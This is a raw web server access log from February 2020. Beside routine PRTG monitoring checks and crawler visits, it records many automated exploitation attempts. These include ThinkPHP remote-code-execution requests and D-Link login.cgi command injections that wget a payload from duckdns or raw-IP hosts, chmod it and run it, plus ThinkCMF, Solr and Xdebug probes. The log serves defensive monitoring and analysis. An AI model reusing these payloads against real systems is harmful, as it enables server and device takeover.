212.91.246.72 - - [03/Feb/2020:12:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.164.103.208 - - [03/Feb/2020:12:30:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.153.52.161 - - [03/Feb/2020:12:33:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:12:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.247.177.230 - - [03/Feb/2020:12:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:12:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [03/Feb/2020:12:36:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:12:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.77.123.165 - - [03/Feb/2020:12:38:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.98 - - [03/Feb/2020:12:39:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.138.131 - - [03/Feb/2020:12:40:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.153.201.141 - - [03/Feb/2020:12:41:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.100.11.237 - - [03/Feb/2020:12:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:12:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.224.193 - - [03/Feb/2020:12:49:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.207 - - [03/Feb/2020:12:50:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.6.232.78 - - [03/Feb/2020:12:50:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.191.250.156 - - [03/Feb/2020:12:51:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [03/Feb/2020:12:51:50 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
95.152.59.119 - - [03/Feb/2020:12:51:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:12:52:03 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
118.68.179.200 - - [03/Feb/2020:12:52:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [03/Feb/2020:12:52:16 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:12:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.134 - - [03/Feb/2020:12:54:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.61.45 - - [03/Feb/2020:12:56:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.137.99 - - [03/Feb/2020:12:57:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:12:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:12:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [03/Feb/2020:13:00:46 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:00:47 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:00:59 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:01:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:01:12 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:01:12 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:13:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.230.228.54 - - [03/Feb/2020:13:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:07:28 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:13:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.112 - - [03/Feb/2020:13:07:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [03/Feb/2020:13:07:42 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:13:07:55 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.237.3.160 - - [03/Feb/2020:13:08:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.65.246.163 - - [03/Feb/2020:13:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:13:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.1.61 - - [03/Feb/2020:13:12:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.248.108.6 - - [03/Feb/2020:13:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:13:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:13:15:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
177.12.245.22 - - [03/Feb/2020:13:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:13:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.93.244.236 - - [03/Feb/2020:13:16:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
66.249.79.206 - - [03/Feb/2020:13:17:31 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.206 - - [03/Feb/2020:13:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [03/Feb/2020:13:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:13:17:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.211.10.10 - - [03/Feb/2020:13:17:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.211.10.10 - - [03/Feb/2020:13:18:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.114.24.141 - - [03/Feb/2020:13:18:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.115.86 - - [03/Feb/2020:13:18:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.102.48 - - [03/Feb/2020:13:22:14 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [03/Feb/2020:13:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.113.170 - - [03/Feb/2020:13:23:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
31.162.221.38 - - [03/Feb/2020:13:23:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.68.164.225 - - [03/Feb/2020:13:23:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.122.183 - - [03/Feb/2020:13:27:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.132.197.168 - - [03/Feb/2020:13:28:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.242.34 - - [03/Feb/2020:13:28:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.0.86 - - [03/Feb/2020:13:31:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.141.45.175 - - [03/Feb/2020:13:31:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:13:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.95.252 - - [03/Feb/2020:13:31:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.141 - - [03/Feb/2020:13:33:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
